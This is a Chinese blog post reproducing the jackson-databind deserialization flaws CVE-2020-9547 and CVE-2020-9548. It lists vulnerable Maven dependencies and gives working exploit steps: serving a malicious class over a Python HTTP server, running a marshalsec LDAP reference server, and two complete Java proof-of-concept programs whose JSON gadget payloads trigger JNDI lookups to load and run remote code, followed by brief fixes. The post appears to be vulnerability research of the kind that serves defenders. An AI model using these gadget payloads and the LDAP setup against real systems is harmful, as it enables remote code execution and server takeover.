美文网首页
CVE-2020-9547/CVE-2020-9548:Fast

CVE-2020-9547/CVE-2020-9548:Fast

作者: 7hang_ | 来源:发表于2020-03-03 18:11 被阅读0次

    0x00 简介

        jackson-databind 是 FasterXML 项目组下的JSON处理库

    0x01 漏洞概述

    2020年3月2日,发现jackson-databind为两例新的反序列化利用链申请了漏洞编号CVE-2020-9547和CVE-2020-9548。该漏洞影响jackson-databind对 JSON 文本的处理流程。攻击者利用特制的请求可以触发远程代码执行,攻击成功可获得服务器的控制权限(Web服务等级),该漏洞同时影响开启了autotype选项的fastjson。

    0x02 影响版本

        jackson-databind < 2.10.0

    0x03 环境搭建

    新建MVN项目

    CVE-2020-9547

    pom.xml添加如下依赖

    ```<dependency>    <groupId>com.fasterxml.jackson.core</groupId>    <artifactId>jackson-databind</artifactId>    <version>2.9.10.3</version></dependency><dependency>      <groupId>org.apache.ibatis</groupId>      <artifactId>ibatis-sqlmap</artifactId>      <version>2.3.4.726</version></dependency><dependency>      <groupId>javax</groupId>      <artifactId>javaee-api</artifactId>      <version>8.0.1</version></dependency>```

    CVE-2020-9548

    pom.xml依赖

    ```<dependency>    <groupId>com.fasterxml.jackson.core</groupId>    <artifactId>jackson-databind</artifactId>    <version>2.9.10.3</version></dependency><dependency>      <groupId>com.codahale.metrics</groupId>      <artifactId>metrics-healthchecks</artifactId>      <version>3.0.2</version></dependency><dependency>      <groupId>br.com.anteros</groupId>      <artifactId>Anteros-Core</artifactId>      <version>1.2.1</version></dependency><dependency>      <groupId>br.com.anteros</groupId>      <artifactId>Anteros-DBCP</artifactId>      <version>1.0.1</version></dependency>```

    0x04 漏洞利用1、在web服务器目录放上已经编译好的恶意类

    这边使用simplehttp搭建web服务

    python -m SimpleHTTPServer 8080

    2、启动ldap服务

    这边使用的是marshalsec。github链接:https://github.com/mbechler/marshalsec

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

    3、poc

    CVE-2020-9547

    import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc {    public static void main(String args[]) {        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        String json = "[\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\", {\"properties\": {\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}]";        try {            mapper.readValue(json, Object.class);        } catch (IOException e) {            e.printStackTrace();        }    }}

    CVE-2020-9548

    import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc {    public static void main(String args[]) {        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        String json = "[\"br.com.anteros.dbcp.AnterosDBCPConfig\", {\"healthCheckRegistry\": \"ldap://localhost:1389/Exploit\"}]";        try {            mapper.readValue(json, Object.class);        } catch (IOException e) {            e.printStackTrace();        }    }}

    直接执行poc即可:

    CVE-2020-9547

    CVE-2020-9548

    0x05 修复方式

    1、更新jackson-databind到最新版本

    2、排查项目中是否使用Anteros-Core和ibatis-sqlmap,将 Anteros-Core和ibatis-sqlmap移除可以缓解漏洞所带来的影响

    相关文章

      网友评论

          本文标题:CVE-2020-9547/CVE-2020-9548:Fast

          本文链接:https://www.haomeiwen.com/subject/locklhtx.html